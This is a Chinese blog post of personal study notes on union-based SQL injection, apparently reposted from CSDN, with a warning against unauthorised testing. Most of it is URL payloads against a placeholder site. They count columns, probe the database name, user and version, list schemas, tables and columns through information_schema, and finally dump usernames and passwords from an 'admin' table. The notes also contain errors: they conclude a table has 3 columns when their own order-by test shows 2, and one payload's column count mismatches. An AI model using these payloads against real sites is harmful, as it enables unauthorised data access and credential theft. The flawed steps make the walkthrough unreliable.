飞道的博客

网络安全 sql 注入

371人阅读  评论(0)

未经允许万不可随意测试网站,请在法律的允许下使用,谨记谨记!

个人学习网络安全笔记及个人理解,如有问题请在评论区讨论 

网络安全网站:https://www.freebuf.com/

sql 注入:地址栏输入在数据库可以执行的语句,并进入数据库查到数据

(地址栏输入 空格转为字符问题  方法:/**/)

例:

ww.xxx.com?id=1 and 1=1 转 数据库sql 语句:select * from (表名) where id=1 and 1=1 

ww.xxx.com?id=123456 and 1=1 union select 1,2

转 数据库sql 语句:

select * from  (表名) where id='123456' and 1=1 union select 1,2 (mysql)

select * from  (表名) where id='123456' and 1=1 union select 1,2 from dual;(Oracle)

名词解释:union 用于合并两个或多个 SELECT 语句的结果集。

执行结果 :

1 2
123456 user

 


1.查询此表里有几个字段(假设一共有2个字段)

ww.xxx.com?id=123456 order by 1 (正常)

ww.xxx.com?id=123456 order by 2 (正常)

ww.xxx.com?id=123456 order by 1,2 (正常)

ww.xxx.com?id=123456 order by 3 (失败)

结论:此表有3个字段

2.ww.xxx.com?id=123456 and 1=2 union select 1,database() 

:1=2 错误语法 引起数据库语法出错 不用查询前面的 防止union前面select 查询结果影响后面结果

:select 1,database() 查询前面select 使用的数据库

:select 1,user()  查询当前登录的用户 

:select 1,version() 数据库版本号

3.查询当前mysql有哪些数据库(默认数据库 mysql)

ww.xxx.com?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)

mysql 默认有一个information_schema表

关于此数据库的详细解释 =》https://zhuanlan.zhihu.com/p/45287222

:information_schema:定义数据库名或表名,列的数据类型,或访问权限等。给数据库定义规范

:schemata:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

:schema_name:存储所有数据库的名字

:group_concat :将相同的行组合  即:schema_name相同的行组合在一起

4.查询指定数据库里有哪些表

ww.xxx.com?id=1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='xxx'

:tables :提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。

5.查询当前数据库指定表里有哪些字段

ww.xxx.com?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'admin'

6.查询指定表里指定字段有哪些内容

ww.xxx.com?id=1 and 1=2 union select 1,group_concat(username,',',password) from admin


转载:https://blog.csdn.net/start_f_scratch/article/details/105406074
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场